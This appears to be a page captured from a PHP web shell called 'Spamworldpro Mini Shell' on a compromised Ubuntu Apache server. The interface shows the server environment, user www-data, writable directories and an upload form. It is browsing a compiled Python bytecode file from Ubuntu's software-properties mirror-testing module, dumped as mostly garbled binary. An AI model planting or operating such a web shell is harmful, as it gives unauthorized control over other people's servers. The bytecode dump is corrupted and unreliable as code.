Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/softwareproperties/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/softwareproperties/__pycache__/MirrorTest.cpython-310.pyc
o

U�7e�@sLddlZz
ddlmZmZWneyddlmZmZYnwddlZddlZddlZddlZddl	Z
ddlZ
zddlm
Z
WneyOddlm
Z
YnwddlZGdd�dej�Zedkr�e
j��Ze�e
j���e�d�Ze����Ze��Ze��dej j!ej j"dj!efZ#ee$ej j%�&��e#e��e�Z'e'�(�dSdS)	�N)�Empty�Queue)�urlopenc@sfeZdZdZGdd�dej�Zddd�Zdd�Zddd�Z	d
d�Z
ddd�Z		
ddd�Zdd�Z
dS)�
MirrorTestz@Determines the best mirrors by perfoming ping and download test.c@s"eZdZdZd	dd�Zdd�ZdS)
zMirrorTest.PingWorkerz�Use the command line command ping to determine the server's
           response time. Using multiple threads allows to run several
           test simultaneously.�r��rrcCs@||_||_||_||_||_||_t�d�|_t	j
�|�dS)Nz^rtt .* = [\.\d]+/([\.\d]+)/.*)�borders�mod�parent�id�jobs�results�re�compile�match_result�	threading�Thread�__init__)�selfr
rrrr	r
�r�?/usr/lib/python3/dist-packages/softwareproperties/MirrorTest.pyrszMirrorTest.PingWorker.__init__cCs0d}|j��s�|jj��r�z5|j�d�}|j}|j�d|�tj	ddddd|gtj
tjdd	�j}	|�
�}|s9nt�|j|�}q2WntyLYdS|j�d
|�Ytj��tjd7_|j�tjtj|j|j�|r�|j�t|d�||g�tj��|j��s�|jj��s
dSdSdSdS)
NFz
Pinging %s...�pingz-qz-c 2z-W 1z-i 0.5T)�stdout�stderr�universal_newlineszSkipping %srr)r
�emptyr�running�isSet�get�hostname�
report_action�
subprocess�Popen�PIPE�STDOUTr�readliner�findallrrr�completed_lock�acquire�	completed�report_progress�todor	r
r�append�float�release)r�result�mirror�host�commando�linerrr�run#sF���

�
&�zMirrorTest.PingWorker.runN)rr)�__name__�
__module__�__qualname__�__doc__rr5rrrr�
PingWorkers
	r:NcCsltj�|�d|_d|_||_d|_||_g|_dt	_
t��t	_t
|�t	_||_|s1t��|_dS||_dS)N�)rrgr)rrr�action�progress�event�best�	test_file�threadsrr*�Lockr(�lenr,�mirrors�Eventr)rrDr@r>rrrrrCs


zMirrorTest.__init__cCs||_|jr
|j��dSdS�N)r<r>�set)r�textrrrr!Ts�zMirrorTest.report_action�r�drcCsP||d||d|d|d|d||f|_|jr&|j��dSdS)zTSubclasses should override this method to receive
           progress status updatesrrN)r=r>rG)r�current�maxr	r
rrrr+Ys

��zMirrorTest.report_progressc
Cs�|jdddd�}t|j�}|dkr3|�dd|jt�d|d�g�|�dd|jt�d|d�g�|jdd	�|D�d
tjtjfd�}|D]
\}}t	d|j
|f�qF|sXdS|ddj
}t	d
|�|S)N�)r��?)r�)rLr	r
�rrcSsg|]}|d�qS)rPr)�.0�rrrr�
<listcomp>jsz,MirrorTest.run_full_test.<locals>.<listcomp>�rNr)r	r
zmirror: %s - time: %szand the winner is: %s)�
run_ping_testrCrDr-�random�randint�run_download_testrr,�printr )r�results_ping�sizer�t�h�winnerrrr�
run_full_testbs$
""��zMirrorTest.run_full_testrc
	Cs�|dkr|j}t�}|D]}|�|�qg}td�D]}t�||||||�}	|j�|	�|	��q|jD]}	|	�	�q4|�
�|d|�S)z�Performs ping tests of the given mirrors and returns the
           best results (specified by max).
           Mod and borders could be used to tweak the reported result if
           the download test is only a part of a whole series of tests.N�r)rDr�put�rangerr:rAr-�start�join�sort)
rrDrLr	r
r
�mr�ir\rrrrUws


zMirrorTest.run_ping_testc	s��fdd�}|dkr
�j}g}|D]'}�j��sn||�}|dkr)|�||g���|�|�dt|�d|�q|��|d|�S)z�Performs download tests of the given mirrors and returns the
           best results (specified by max).
           Mod and borders could be used to tweak the reported result if
           the download test is only a part of a whole series of tests.csZd|��d�jf}��d|�t��}zt|dd��d�t��|WSYdS)Nz%s/%srzDownloading %s...rP)�timeouti�)�
get_repo_urlsr@r!�timer�read)r1�urlrc�rrr�test_download_speed�s�z9MirrorTest.run_download_test.<locals>.test_download_speedNrrrT)rDrrr-r+�indexrCre)	rrDrLr	r
rnrrf�
download_timerrmrrX�s

 zMirrorTest.run_download_testcCs|��|_|j��dS)z/Complete test exercise, set self.best when doneN)r_r?r�clearrmrrrr5�s
zMirrorTest.runrF)rIr)NNrr)r6r7r8r9rrr:rr!r+r_rUrXr5rrrrrs
-
	

�r�__main__zdpkg --print-architecturez!dists/%s/%s/binary-%s/Packages.gz))r�queuerr�ImportErrorrjrr"�os�aptsources.distro�
aptsources�aptsources.sourceslist�urllib.requestr�urllib2rVrrr6�distro�
get_distro�get_sources�sourceslist�SourcesList�popen�piperk�strip�archrErrG�source_template�name�
componentsr@�list�
mirror_set�values�appr_rrrr�<module>sL��

��
��

Spamworldpro Mini